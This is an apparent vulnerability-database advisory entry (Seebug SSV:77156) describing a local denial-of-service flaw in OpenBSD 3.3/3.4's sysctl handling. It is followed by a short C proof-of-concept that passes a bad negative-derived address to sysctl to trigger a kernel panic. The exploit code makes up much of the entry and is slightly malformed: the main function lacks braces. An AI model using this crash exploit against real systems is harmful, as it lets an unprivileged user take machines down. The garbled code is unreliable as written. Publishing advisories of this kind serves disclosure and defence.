OpenBSD 3.3/3.4 sysctl Local Denial of Service Vulnerability

ID SSV:77156
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00


No description provided by source.


A denial of service vulnerability has been reported for OpenBSD, specifically when handling malformed calls to sysctl. By invoking systcl and passing a specific flag in conjunction with a negative argument may trigger a kernel panic. This could be exploited by a malicious unprivileged local user to crash a target system.

The precise technical details regarding this vulnerability are currently unknown. This BID will be updated as further information is made available. 

#include <stdio.h>
#include <sys/param.h>
#include <sys/sysctl.h>

int main ()
unsigned int blah[2] = { CTL_KERN, 0 }, addr = -4096 + 1;

return (sysctl (blah, 2, (void *) addr, &blah[1], 0, 0));